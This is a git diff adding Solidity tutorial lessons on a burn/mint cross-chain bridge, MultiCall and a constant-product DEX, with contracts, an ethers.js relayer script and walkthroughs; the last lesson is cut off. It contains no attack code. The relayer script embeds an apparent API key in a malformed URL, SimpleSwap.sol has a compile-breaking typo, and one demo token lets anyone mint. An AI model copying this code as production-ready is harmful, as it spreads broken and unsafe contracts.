diff --git a/54_CrossChainBridge/config.yml b/54_CrossChainBridge/config.yml new file mode 100644 index 000000000..117c514f6 --- /dev/null +++ b/54_CrossChainBridge/config.yml @@ -0,0 +1,12 @@ +id: 54-cross-chain-bridge +name: 54. Cross-chain bridge +summary: Understand how cross-chain bridges work and learn to implement secure bridge contracts for transferring assets between different blockchain networks. +level: 2 +tags: +- solidity +- erc20 +- eip712 +- openzepplin +steps: +- name: Cross-chain bridge + path: step1 diff --git a/54_CrossChainBridge/readme.md b/54_CrossChainBridge/readme.md new file mode 100644 index 000000000..7ceec041c --- /dev/null +++ b/54_CrossChainBridge/readme.md @@ -0,0 +1,16 @@ +--- +title: 54. Cross-chain bridge +tags: + - solidity + - erc20 + - eip712 + - openzepplin +--- + +# WTF Minimalist introduction to Solidity: 54. Cross-chain bridge + +In this lecture, we introduce cross-chain bridges, infrastructure that can transfer assets from one blockchain to another, and implement a simple cross-chain bridge. + + + + diff --git a/54_CrossChainBridge/step1/CrosschainERC20.sol b/54_CrossChainBridge/step1/CrosschainERC20.sol new file mode 100644 index 000000000..dfad0e437 --- /dev/null +++ b/54_CrossChainBridge/step1/CrosschainERC20.sol @@ -0,0 +1,44 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.10; + +import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; +import "@openzeppelin/contracts/access/Ownable.sol"; + +contract CrossChainToken is ERC20, Ownable { + + // Bridge event + event Bridge(address indexed user, uint256 amount); + // Mint event + event Mint(address indexed to, uint256 amount); + + /** + * @param name Token Name + * @param symbol Token Symbol + * @param totalSupply Token Supply + */ + constructor( + string memory name, + string memory symbol, + uint256 totalSupply + ) payable ERC20(name, symbol) { + _mint(msg.sender, totalSupply); + } + + /** + * Bridge function + * @param amount: burn amount of token on the current chain and mint on the other chain + */ + function bridge(uint256 amount) public { + _burn(msg.sender, amount); + emit Bridge(msg.sender, amount); + } + + /** + * Mint function + */ + function mint(address to, uint amount) external onlyOwner { + _mint(to, amount); + emit Mint(to, amount); + } +} + diff --git a/54_CrossChainBridge/step1/crosschain.js b/54_CrossChainBridge/step1/crosschain.js new file mode 100644 index 000000000..8b50b1686 --- /dev/null +++ b/54_CrossChainBridge/step1/crosschain.js @@ -0,0 +1,59 @@ +import { ethers } from "ethers"; + +//Initialize the providers of the two chains +const providerGoerli = new ethers.JsonRpcProvider("Goerli_Provider_URL"); +const providerSepolia = new ethers.JsonRpcProvider("Sepolia_Provider_URL://eth-sepolia.g.alchemy.com/v2/RgxsjQdKTawszh80TpJ-14Y8tY7cx5W2"); + +//Initialize the signers of the two chains +// privateKey fills in the private key of the administrator's wallet +const privateKey = "Your_Key"; +const walletGoerli = new ethers.Wallet(privateKey, providerGoerli); +const walletSepolia = new ethers.Wallet(privateKey, providerSepolia); + +//Contract address and ABI +const contractAddressGoerli = "0xa2950F56e2Ca63bCdbA422c8d8EF9fC19bcF20DD"; +const contractAddressSepolia = "0xad20993E1709ed13790b321bbeb0752E50b8Ce69"; + +const abi = [ + "event Bridge(address indexed user, uint256 amount)", + "function bridge(uint256 amount) public", + "function mint(address to, uint amount) external", +]; + +//Initialize contract instance +const contractGoerli = new ethers.Contract(contractAddressGoerli, abi, walletGoerli); +const contractSepolia = new ethers.Contract(contractAddressSepolia, abi, walletSepolia); + +const main = async () => { + try{ + console.log(`Start listening to cross-chain events`) + + // Listen to the Bridge event of chain Sepolia, and then perform the mint operation on Goerli to complete the cross-chain + contractSepolia.on("Bridge", async (user, amount) => { + console.log(`Bridge event on Chain Sepolia: User ${user} burned ${amount} tokens`); + + // Performing burn operation + let tx = await contractGoerli.mint(user, amount); + await tx.wait(); + + console.log(`Minted ${amount} tokens to ${user} on Chain Goerli`); + }); + + // Listen to the Bridge event of chain Sepolia, and then perform the mint operation on Goerli to complete the cross-chain + contractGoerli.on("Bridge", async (user, amount) => { + console.log(`Bridge event on Chain Goerli: User ${user} burned ${amount} tokens`); + + // Performing burn operation + let tx = await contractSepolia.mint(user, amount); + await tx.wait(); + + console.log(`Minted ${amount} tokens to ${user} on Chain Sepolia`); + }); + + }catch(e){ + console.log(e); + + } +} + +main(); diff --git a/54_CrossChainBridge/step1/img/54-1.png b/54_CrossChainBridge/step1/img/54-1.png new file mode 100644 index 000000000..17da1d2e2 Binary files /dev/null and b/54_CrossChainBridge/step1/img/54-1.png differ diff --git a/54_CrossChainBridge/step1/img/54-2.png b/54_CrossChainBridge/step1/img/54-2.png new file mode 100644 index 000000000..ab716afdf Binary files /dev/null and b/54_CrossChainBridge/step1/img/54-2.png differ diff --git a/54_CrossChainBridge/step1/img/54-3.png b/54_CrossChainBridge/step1/img/54-3.png new file mode 100644 index 000000000..64e01f618 Binary files /dev/null and b/54_CrossChainBridge/step1/img/54-3.png differ diff --git a/54_CrossChainBridge/step1/img/54-4.png b/54_CrossChainBridge/step1/img/54-4.png new file mode 100644 index 000000000..228de15fc Binary files /dev/null and b/54_CrossChainBridge/step1/img/54-4.png differ diff --git a/54_CrossChainBridge/step1/img/54-5.png b/54_CrossChainBridge/step1/img/54-5.png new file mode 100644 index 000000000..189cde78f Binary files /dev/null and b/54_CrossChainBridge/step1/img/54-5.png differ diff --git a/54_CrossChainBridge/step1/img/54-6.png b/54_CrossChainBridge/step1/img/54-6.png new file mode 100644 index 000000000..6b853510f Binary files /dev/null and b/54_CrossChainBridge/step1/img/54-6.png differ diff --git a/54_CrossChainBridge/step1/img/54-7.png b/54_CrossChainBridge/step1/img/54-7.png new file mode 100644 index 000000000..437850cbf Binary files /dev/null and b/54_CrossChainBridge/step1/img/54-7.png differ diff --git a/54_CrossChainBridge/step1/img/54-8.png b/54_CrossChainBridge/step1/img/54-8.png new file mode 100644 index 000000000..c03a92f0a Binary files /dev/null and b/54_CrossChainBridge/step1/img/54-8.png differ diff --git a/54_CrossChainBridge/step1/step1.md b/54_CrossChainBridge/step1/step1.md new file mode 100644 index 000000000..fc9d5a140 --- /dev/null +++ b/54_CrossChainBridge/step1/step1.md @@ -0,0 +1,198 @@ +--- +title: 54. Cross-chain bridge +tags: + - solidity + - erc20 + - eip712 + - openzepplin +--- + +# WTF Minimalist introduction to Solidity: 54. Cross-chain bridge + +I'm recently re-learning solidity, consolidating the details, and writing a "WTF Solidity Minimalist Introduction" for novices (programming experts can find another tutorial), updating 1-3 lectures every week. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) + +Community: [Discord](https://discord.gg/5akcruXrsk)|[WeChat Group](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link) |[Official website wtf.academy](https://wtf.academy) + +All codes and tutorials are open source on github: [github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) +----- + +In this lecture, we introduce cross-chain bridges, infrastructure that can transfer assets from one blockchain to another, and implement a simple cross-chain bridge. + + +## 1. What is a cross-chain bridge? + +A cross-chain bridge is a blockchain protocol that allows digital assets and information to be moved between two or more blockchains. For example, an ERC20 token running on the Ethereum mainnet can be transferred to other Ethereum-compatible sidechains or independent chains through cross-chain bridges. + +At the same time, cross-chain bridges are not natively supported by the blockchain, and cross-chain operations require a trusted third party to perform, which also brings risks. In the past two years, attacks on cross-chain bridges have caused more than **$2 billion** in user asset losses. + +## 2. Types of cross-chain bridges + +There are three main types of cross-chain bridges: + +- **Burn/Mint**: Destroy (burn) tokens on the source chain, and then create (mint) the same number of tokens on the target chain. The advantage of this method is that the total supply of tokens remains unchanged, but the cross-chain bridge needs to have permission to mint the tokens, which is suitable for project parties to build their own cross-chain bridges. + +![](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/54_CrossChainBridge/step1/img/54-1.png) + +- **Stake/Mint**: Lock (stake) tokens on the source chain, and then create (mint) the same number of tokens (certificates) on the target chain. Tokens on the source chain are locked and unlocked when the tokens are moved from the target chain back to the source chain. This is a solution commonly used by cross-chain bridges. It does not require any permissions, but the risk is also high. When the assets of the source chain are hacked, the credentials on the target chain will become air. + + ![](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/54_CrossChainBridge/step1/img/54-2.png) + +- **Stake/Unstake**: Lock (stake) tokens on the source chain, and then release (unstake) the same number of tokens on the target chain. The tokens on the target chain can be exchanged back to the tokens on the source chain at any time. currency. This method requires the cross-chain bridge to have locked tokens on both chains, and the threshold is high. Users generally need to be encouraged to lock up on the cross-chain bridge. + + ![](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/54_CrossChainBridge/step1/img/54-3.png) + +## 3. Build a simple cross-chain bridge + +In order to better understand this cross-chain bridge, we will build a simple cross-chain bridge and implement ERC20 token transfer between the Goerli test network and the Sepolia test network. We use the burn/mint method, the tokens on the source chain will be destroyed and created on the target chain. This cross-chain bridge consists of a smart contract (deployed on both chains) and an Ethers.js script. + +> **Please note**, this is a very simple cross-chain bridge implementation and is for educational purposes only. It does not deal with some possible problems, such as transaction failure, chain reorganization, etc. In a production environment, it is recommended to use a professional cross-chain bridge solution or other fully tested and audited frameworks. + +### 3.1 Cross-chain token contract + +First, we need to deploy an ERC20 token contract, `CrossChainToken`, on the Goerli and Sepolia testnets. This contract defines the name, symbol, and total supply of the token, as well as a `bridge()` function for cross-chain transfers. + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.10; + +import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; +import "@openzeppelin/contracts/access/Ownable.sol"; + +contract CrossChainToken is ERC20, Ownable { + + // Bridge event + event Bridge(address indexed user, uint256 amount); + // Mint event + event Mint(address indexed to, uint256 amount); + + /** + * @param name Token Name + * @param symbol Token Symbol + * @param totalSupply Token Supply + */ + constructor( + string memory name, + string memory symbol, + uint256 totalSupply + ) payable ERC20(name, symbol) { + _mint(msg.sender, totalSupply); + } + + /** + * Bridge function + * @param amount: burn amount of token on the current chain and mint on the other chain + */ + function bridge(uint256 amount) public { + _burn(msg.sender, amount); + emit Bridge(msg.sender, amount); + } + + /** + * Mint function + */ + function mint(address to, uint amount) external onlyOwner { + _mint(to, amount); + emit Mint(to, amount); + } +} +``` + +This contract has three main functions: + +- `constructor()`: The constructor, which will be called once when deploying the contract, is used to initialize the name, symbol and total supply of the token. + +- `bridge()`: The user calls this function to perform cross-chain transfer. It will destroy the number of tokens specified by the user and release the `Bridge` event. + +- `mint()`: Only the owner of the contract can call this function to handle cross-chain events and release the `Mint` event. When the user calls the `bridge()` function on another chain to destroy the token, the script will listen to the `Bridge` event and mint the token for the user on the target chain. + +### 3.2 Cross-chain script + +With the token contract in place, we need a server to handle cross-chain events. We can write an ethers.js script (v6 version) to listen to the `Bridge` event, and when the event is triggered, create the same number of tokens on the target chain. If you don’t know Ethers.js, you can read [WTF Ethers Minimalist Tutorial](https://github.com/WTFAcademy/WTF-Ethers). + +```javascript +import { ethers } from "ethers"; + +//Initialize the providers of the two chains +const providerGoerli = new ethers.JsonRpcProvider("Goerli_Provider_URL"); +const providerSepolia = new ethers.JsonRpcProvider("Sepolia_Provider_URL://eth-sepolia.g.alchemy.com/v2/RgxsjQdKTawszh80TpJ-14Y8tY7cx5W2"); + +//Initialize the signers of the two chains +// privateKey fills in the private key of the administrator's wallet +const privateKey = "Your_Key"; +const walletGoerli = new ethers.Wallet(privateKey, providerGoerli); +const walletSepolia = new ethers.Wallet(privateKey, providerSepolia); + +//Contract address and ABI +const contractAddressGoerli = "0xa2950F56e2Ca63bCdbA422c8d8EF9fC19bcF20DD"; +const contractAddressSepolia = "0xad20993E1709ed13790b321bbeb0752E50b8Ce69"; + +const abi = [ + "event Bridge(address indexed user, uint256 amount)", + "function bridge(uint256 amount) public", + "function mint(address to, uint amount) external", +]; + +//Initialize contract instance +const contractGoerli = new ethers.Contract(contractAddressGoerli, abi, walletGoerli); +const contractSepolia = new ethers.Contract(contractAddressSepolia, abi, walletSepolia); + +const main = async () => { + try{ + console.log(`Start listening to cross-chain events`) + + // Listen to the Bridge event of chain Sepolia, and then perform the mint operation on Goerli to complete the cross-chain + contractSepolia.on("Bridge", async (user, amount) => { + console.log(`Bridge event on Chain Sepolia: User ${user} burned ${amount} tokens`); + + // Performing burn operation + let tx = await contractGoerli.mint(user, amount); + await tx.wait(); + + console.log(`Minted ${amount} tokens to ${user} on Chain Goerli`); + }); + + // Listen to the Bridge event of chain Sepolia, and then perform the mint operation on Goerli to complete the cross-chain + contractGoerli.on("Bridge", async (user, amount) => { + console.log(`Bridge event on Chain Goerli: User ${user} burned ${amount} tokens`); + + // Performing burn operation + let tx = await contractSepolia.mint(user, amount); + await tx.wait(); + + console.log(`Minted ${amount} tokens to ${user} on Chain Sepolia`); + }); + + }catch(e){ + console.log(e); + + } +} + +main(); +``` + +## Remix Reappearance + +1. Deploy the `CrossChainToken` contract on the Goerli and Sepolia test chains respectively. The contract will automatically mint 10,000 tokens for us. + + ![](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/54_CrossChainBridge/step1/img/54-4.png) + +2. Complete the RPC node URL and administrator private key in the cross-chain script `crosschain.js`, fill in the token contract addresses deployed in Goerli and Sepolia into the corresponding locations, and run the script. + +3. Call the `bridge()` function of the token contract on the Goerli chain to cross-chain 100 tokens. + + ![](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/54_CrossChainBridge/step1/img/54-6.png) + +4. The script listens to the cross-chain event and mints 100 tokens on the Sepolia chain. + + ![](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/54_CrossChainBridge/step1/img/54-7.png) + +5. Call `balance()` on the Sepolia chain to check the balance, and find that the token balance has changed to 10,100. The cross-chain is successful! + + ![](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/54_CrossChainBridge/step1/img/54-8.png) + +## Summary + +In this lecture, we introduced the cross-chain bridge, which allows digital assets and information to be moved between two or more blockchains, making it convenient for users to operate assets on multiple chains. At the same time, it also carries great risks. Attacks on cross-chain bridges in the past two years have caused more than **2 billion US dollars** in user asset losses. In this tutorial, we build a simple cross-chain bridge and implement ERC20 token transfer between the Goerli testnet and the Sepolia testnet. I believe that through this tutorial, you will have a deeper understanding of cross-chain bridges. diff --git a/55_MultiCall/config.yml b/55_MultiCall/config.yml new file mode 100644 index 000000000..23635a329 --- /dev/null +++ b/55_MultiCall/config.yml @@ -0,0 +1,10 @@ +id: 55-multiple-calls +name: 55. Multiple calls +summary: Learn how to aggregate multiple contract calls into a single transaction using MultiCall, improving efficiency and reducing gas costs in Solidity applications. +level: 2 +tags: +- solidity +- erc20 +steps: +- name: Multiple calls + path: step1 diff --git a/55_MultiCall/readme.md b/55_MultiCall/readme.md new file mode 100644 index 000000000..6a0995115 --- /dev/null +++ b/55_MultiCall/readme.md @@ -0,0 +1,13 @@ +--- +title: 55. Multiple calls +tags: + - solidity + - erc20 +--- + +# WTF Minimalist introduction to Solidity: 55. Multiple calls + +In this lecture, we will introduce the MultiCall multi-call contract, which is designed to execute multiple function calls in one transaction, which can significantly reduce transaction fees and improve efficiency. + + + diff --git a/55_MultiCall/step1/MCERC20.sol b/55_MultiCall/step1/MCERC20.sol new file mode 100644 index 000000000..3da8a9c69 --- /dev/null +++ b/55_MultiCall/step1/MCERC20.sol @@ -0,0 +1,11 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.19; +import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; + +contract MCERC20 is ERC20{ + constructor(string memory name_, string memory symbol_) ERC20(name_, symbol_){} + + function mint(address to, uint amount) external { + _mint(to, amount); + } +} \ No newline at end of file diff --git a/55_MultiCall/step1/MultiCall.sol b/55_MultiCall/step1/MultiCall.sol new file mode 100644 index 000000000..db806b197 --- /dev/null +++ b/55_MultiCall/step1/MultiCall.sol @@ -0,0 +1,37 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.19; + +contract Multicall { + // Call structure, including target contract target, whether to allow call failure allowFailure, and call data + struct Call { + address target; + bool allowFailure; + bytes callData; + } + + // Result structure, including whether the call is successful and return data + struct Result { + bool success; + bytes returnData; + } + + /// @notice merges multiple calls (supporting different contracts/different methods/different parameters) into one call + /// @param calls Array composed of Call structure + /// @return returnData An array composed of Result structure + function multicall(Call[] calldata calls) public returns (Result[] memory returnData) { + uint256 length = calls.length; + returnData = new Result[](length); + Call calldata calli; + + // Called sequentially in the loop + for (uint256 i = 0; i < length; i++) { + Result memory result = returnData[i]; + calli = calls[i]; + (result.success, result.returnData) = calli.target.call(calli.callData); + // If calli.allowFailure and result.success are both false, revert + if (!(calli.allowFailure || result.success)){ + revert("Multicall: call failed"); + } + } + } +} diff --git a/55_MultiCall/step1/img/55-1.png b/55_MultiCall/step1/img/55-1.png new file mode 100644 index 000000000..cc5424e37 Binary files /dev/null and b/55_MultiCall/step1/img/55-1.png differ diff --git a/55_MultiCall/step1/img/55-2 b/55_MultiCall/step1/img/55-2 new file mode 100644 index 000000000..8b1378917 --- /dev/null +++ b/55_MultiCall/step1/img/55-2 @@ -0,0 +1 @@ + diff --git a/55_MultiCall/step1/img/55-2.png b/55_MultiCall/step1/img/55-2.png new file mode 100644 index 000000000..475f2c9ab Binary files /dev/null and b/55_MultiCall/step1/img/55-2.png differ diff --git a/55_MultiCall/step1/step1.md b/55_MultiCall/step1/step1.md new file mode 100644 index 000000000..ecac104ed --- /dev/null +++ b/55_MultiCall/step1/step1.md @@ -0,0 +1,134 @@ +--- +title: 55. Multiple calls +tags: + - solidity + - erc20 +--- + +# WTF Minimalist introduction to Solidity: 55. Multiple calls + +I'm recently re-learning solidity, consolidating the details, and writing a "WTF Solidity Minimalist Introduction" for novices (programming experts can find another tutorial), updating 1-3 lectures every week. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) + +Community: [Discord](https://discord.gg/5akcruXrsk)|[WeChat Group](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link) |[Official website wtf.academy](https://wtf.academy) + +All codes and tutorials are open source on github: [github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) + +----- + +In this lecture, we will introduce the MultiCall multi-call contract, which is designed to execute multiple function calls in one transaction, which can significantly reduce transaction fees and improve efficiency. + +## MultiCall + +In Solidity, the MultiCall (multiple call) contract is designed to allow us to execute multiple function calls in one transaction. Its advantages are as follows: + +1. Convenience: MultiCall allows you to call different functions of different contracts in one transaction, and these calls can also use different parameters. For example, you can query the ERC20 token balances of multiple addresses at one time. + +2. Save gas: MultiCall can combine multiple transactions into multiple calls in one transaction, thereby saving gas. + +3. Atomicity: MultiCall allows users to perform all operations in one transaction, ensuring that all operations either succeed or fail, thus maintaining atomicity. For example, you can conduct a series of token transactions in a specific order. + +## MultiCall Contract + +Next, let’s study the MultiCall contract, which is simplified from MakerDAO’s [MultiCall](https://github.com/mds1/multicall/blob/main/src/Multicall3.sol). + +The MultiCall contract defines two structures: + +- `Call`: This is a call structure that contains the target contract `target` to be called, a flag `allowFailure` indicating whether the call failure is allowed, and the bytecode `call data` to be called. + +- `Result`: This is a result structure that contains the flag `success` that indicates whether the call was successful and the bytecode returned by the call `return data`. + +The contract contains only one function, which is used to perform multiple calls: + +- `multicall()`: The parameter of this function is an array composed of Call structures. This can ensure that the length of the target and data passed in are consistent. The function performs multiple calls through a loop and rolls back the transaction if the call fails. + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.19; + +contract Multicall { + // Call structure, including target contract target, whether to allow call failure allowFailure, and call data + struct Call { + address target; + bool allowFailure; + bytes callData; + } + + // Result structure, including whether the call is successful and return data + struct Result { + bool success; + bytes returnData; + } + +/// @notice merges multiple calls (supporting different contracts/different methods/different parameters) into one call + /// @param calls Array composed of Call structure + /// @return returnData An array composed of Result structure + function multicall(Call[] calldata calls) public returns (Result[] memory returnData) { + uint256 length = calls.length; + returnData = new Result[](length); + Call calldata calli; + + // Called sequentially in the loop + for (uint256 i = 0; i < length; i++) { + Result memory result = returnData[i]; + calli = calls[i]; + (result.success, result.returnData) = calli.target.call(calli.callData); + // If calli.allowFailure and result.success are both false, revert + if (!(calli.allowFailure || result.success)){ + revert("Multicall: call failed"); + } + } + } +} +``` + +## Remix Reappearance + +1. We first deploy a very simple ERC20 token contract `MCERC20` and record the contract address. + + ```solidity + // SPDX-License-Identifier: MIT + pragma solidity ^0.8.19; + import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; + + contract MCERC20 is ERC20{ + constructor(string memory name_, string memory symbol_) ERC20(name_, symbol_){} + + function mint(address to, uint amount) external { + _mint(to, amount); + } + } + ``` + +2. Deploy the `MultiCall` contract. + +3. Get the `calldata` to be called. We will mint 50 and 100 units of tokens respectively for 2 addresses. You can fill in the parameters of `mint()` on the remix call page, and then click the **Calldata** button to copy the encoded calldata. Come down. example: + + ```solidity + to: 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4 + amount: 50 + calldata: 0x40c10f190000000000000000000000005b38da6a701c568545dcfcb03fcb875f56beddc40000000000000000000000000000000000000000000000000000000000000032 + ``` + + .[](./img/55-1.png) + +If you don’t understand `calldata`, you can read WTF Solidity [Lecture 29]. + +4. Use the `multicall()` function of `MultiCall` to call the `mint()` function of the ERC20 token contract to mint 50 and 100 units of tokens respectively to the two addresses. example: + ```solidity + calls: [["0x0fC5025C764cE34df352757e82f7B5c4Df39A836", true, "0x40c10f190000000000000000000000005b38da6a701c568545dcfcb03fcb875f56beddc40000000000000000000000000000000000000000000000000000000000000032"], ["0x0fC5025C764cE34df352757e82f7B5c4Df39A836", false, "0x40c10f19000000000000000000000000ab8483f64d9c6d1ecf9b849ae677dd3315835cb20000000000000000000000000000000000000000000000000000000000000064"]] + ``` + +5. Use the `multicall()` function of `MultiCall` to call the `balanceOf()` function of the ERC20 token contract to query the balance of the two addresses just minted. The selector of the `balanceOf()` function is `0x70a08231`. example: + + ```solidity + [["0x0fC5025C764cE34df352757e82f7B5c4Df39A836", true, "0x70a082310000000000000000000000005b38da6a701c568545dcfcb03fcb875f56beddc4"], ["0x0fC5025C764cE34df352757e82f7B5c4Df39A836", false, "0x70a08231000000000000000000000000ab8483f64d9c6d1ecf9b849ae677dd3315835cb2"]] + ``` + + The return value of the call can be viewed in `decoded output`. The balances of the two addresses are `0x0000000000000000000000000000000000000000000000000000000000000000032` and `0x00000000000000000000000000000 00000000000000000000000000000000000064`, that is, 50 and 100, the call was successful! + .[](./img/55-2.png) + +## Summary + +In this lecture, we introduced the MultiCall multi-call contract, which allows you to execute multiple function calls in one transaction. It should be noted that different MultiCall contracts have some differences in parameters and execution logic. Please read the source code carefully when using them. diff --git a/56_DEX/config.yml b/56_DEX/config.yml new file mode 100644 index 000000000..72729847f --- /dev/null +++ b/56_DEX/config.yml @@ -0,0 +1,11 @@ +id: 56-decentralized-exchange +name: 56. Decentralized Exchange +summary: Build a decentralized exchange (DEX) from scratch, learning about automated market makers (AMM), liquidity pools, and token swapping mechanisms. +level: 2 +tags: +- solidity +- erc20 +- Defi +steps: +- name: Decentralized Exchange + path: step1 diff --git a/56_DEX/readme.md b/56_DEX/readme.md new file mode 100644 index 000000000..2e57eb2fb --- /dev/null +++ b/56_DEX/readme.md @@ -0,0 +1,14 @@ +--- +title: 56. Decentralized Exchange +tags: + - solidity + - erc20 + - Defi +--- + +# WTF A simple introduction to Solidity: 56. Decentralized exchange + +In this lecture, we will introduce the Constant Product Automated Market Maker (CPAMM), which is the core mechanism of decentralized exchanges and is used by a series of DEXs such as Uniswap and PancakeSwap. The teaching contract is simplified from the [Uniswap-v2](https://github.com/Uniswap/v2-core) contract and includes the core functions of CPAMM. + + + diff --git a/56_DEX/step1/SimpleSwap.sol b/56_DEX/step1/SimpleSwap.sol new file mode 100644 index 000000000..347a9da1c --- /dev/null +++ b/56_DEX/step1/SimpleSwap.sol @@ -0,0 +1,157 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.19; + +import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; + +contract SimpleSwap is ERC20 { + //Token contract + IERC20 public token0; + IERC20 public token1; + + //Token reserve amount + uint public reserve0; + uint public reserve1; + + // event + event Mint(address indexed sender, uint amount0, uint amount1); + event Burn(address indexed sender, uint amount0, uint amount1); + eventSwap( + address indexed sender, + uint amountIn, + address tokenIn, + uint amountOut, + address tokenOut + ); + + //Constructor, initialize token address + constructor(IERC20 _token0, IERC20 _token1) ERC20("SimpleSwap", "SS") { + token0 = _token0; + token1 = _token1; + } + + // Get the minimum of two numbers + function min(uint x, uint y) internal pure returns (uint z) { + z = x < y ? x : y; + } + + // Compute square roots babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method) + function sqrt(uint y) internal pure returns (uint z) { + if (y > 3) { + z = y; + uint x = y / 2 + 1; + while (x < z) { + z = x; + x = (y / x + x) / 2; + } + } else if (y != 0) { + z = 1; + } + } + +// Add liquidity, transfer tokens, and mint LP + // If added for the first time, the amount of LP minted = sqrt(amount0 * amount1) + // If it is not the first time, the amount of LP minted = min(amount0/reserve0, amount1/reserve1)* totalSupply_LP + // @param amount0Desired The amount of token0 added + // @param amount1Desired The amount of token1 added + function addLiquidity(uint amount0Desired, uint amount1Desired) public returns(uint liquidity){ + // To transfer the added liquidity to the Swap contract, you need to give the Swap contract authorization in advance. + token0.transferFrom(msg.sender, address(this), amount0Desired); + token1.transferFrom(msg.sender, address(this), amount1Desired); + // Calculate added liquidity + uint _totalSupply = totalSupply(); + if (_totalSupply == 0) { + // If liquidity is added for the first time, mint L = sqrt(x * y) units of LP (liquidity provider) tokens + liquidity = sqrt(amount0Desired * amount1Desired); + } else { + // If it is not the first time to add liquidity, LP will be minted in proportion to the number of added tokens, and the smaller ratio of the two tokens will be used. + liquidity = min(amount0Desired * _totalSupply / reserve0, amount1Desired * _totalSupply /reserve1); + } + +// Check the amount of LP minted + require(liquidity > 0, 'INSUFFICIENT_LIQUIDITY_MINTED'); + + // Update reserve + reserve0 = token0.balanceOf(address(this)); + reserve1 = token1.balanceOf(address(this)); + + // Mint LP tokens for liquidity providers to represent the liquidity they provide + _mint(msg.sender, liquidity); + + emit Mint(msg.sender, amount0Desired, amount1Desired); + } + +// Remove liquidity, destroy LP, and transfer tokens + // Transfer quantity = (liquidity / totalSupply_LP) * reserve + // @param liquidity The amount of liquidity removed + function removeLiquidity(uint liquidity) external returns (uint amount0, uint amount1) { + // Get balance + uint balance0 = token0.balanceOf(address(this)); + uint balance1 = token1.balanceOf(address(this)); + // Calculate the number of tokens to be transferred according to the proportion of LP + uint _totalSupply = totalSupply(); + amount0 = liquidity * balance0 / _totalSupply; + amount1 = liquidity * balance1 / _totalSupply; + // Check the number of tokens + require(amount0 > 0 && amount1 > 0, 'INSUFFICIENT_LIQUIDITY_BURNED'); + // Destroy LP + _burn(msg.sender, liquidity); + // Transfer tokens + token0.transfer(msg.sender, amount0); + token1.transfer(msg.sender, amount1); + // Update reserve + reserve0 = token0.balanceOf(address(this)); + reserve1 = token1.balanceOf(address(this)); + + emit Burn(msg.sender, amount0, amount1); + } + +// Given the amount of an asset and the reserve of a token pair, calculate the amount to exchange for another token + // Since the product is constant + // Before swapping: k = x * y + // After swapping: k = (x + delta_x) * (y + delta_y) + // Available delta_y = - delta_x * y / (x + delta_x) + // Positive/negative signs represent transfer in/out + function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) public pure returns (uint amountOut) { + require(amountIn > 0, 'INSUFFICIENT_AMOUNT'); + require(reserveIn > 0 && reserveOut > 0, 'INSUFFICIENT_LIQUIDITY'); + amountOut = amountIn * reserveOut / (reserveIn + amountIn); + } + + // swap tokens + // @param amountIn the number of tokens used for exchange + // @param tokenIn token contract address used for exchange + // @param amountOutMin the minimum amount to exchange for another token + function swap(uint amountIn, IERC20 tokenIn, uint amountOutMin) external returns (uint amountOut, IERC20 tokenOut){ + require(amountIn > 0, 'INSUFFICIENT_OUTPUT_AMOUNT'); + require(tokenIn == token0 || tokenIn == token1, 'INVALID_TOKEN'); + + uint balance0 = token0.balanceOf(address(this)); + uint balance1 = token1.balanceOf(address(this)); + + if(tokenIn == token0){ + // If token0 is exchanged for token1 + tokenOut = token1; + // Calculate the number of token1 that can be exchanged + amountOut = getAmountOut(amountIn, balance0, balance1); + require(amountOut > amountOutMin, 'INSUFFICIENT_OUTPUT_AMOUNT'); + //Exchange + tokenIn.transferFrom(msg.sender, address(this), amountIn); + tokenOut.transfer(msg.sender, amountOut); + }else{ + // If token1 is exchanged for token0 + tokenOut = token0; + // Calculate the number of token1 that can be exchanged + amountOut = getAmountOut(amountIn, balance1, balance0); + require(amountOut > amountOutMin, 'INSUFFICIENT_OUTPUT_AMOUNT'); + //Exchange + tokenIn.transferFrom(msg.sender, address(this), amountIn); + tokenOut.transfer(msg.sender, amountOut); + } + + // Update reserve + reserve0 = token0.balanceOf(address(this)); + reserve1 = token1.balanceOf(address(this)); + + emit Swap(msg.sender, amountIn, address(tokenIn), amountOut, address(tokenOut)); + } +} diff --git a/56_DEX/step1/img/56-1.png b/56_DEX/step1/img/56-1.png new file mode 100644 index 000000000..3189e4f52 Binary files /dev/null and b/56_DEX/step1/img/56-1.png differ diff --git a/56_DEX/step1/step1.md b/56_DEX/step1/step1.md new file mode 100644 index 000000000..ac8e7e4e0 --- /dev/null +++ b/56_DEX/step1/step1.md @@ -0,0 +1,444 @@ +--- +title: 56. Decentralized Exchange +tags: + - solidity + - erc20 + - Defi +--- + +# WTF A simple introduction to Solidity: 56. Decentralized exchange + +I'm recently re-learning solidity, consolidating the details, and writing a "WTF Solidity Minimalist Introduction" for novices (programming experts can find another tutorial), updating 1-3 lectures every week. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) + 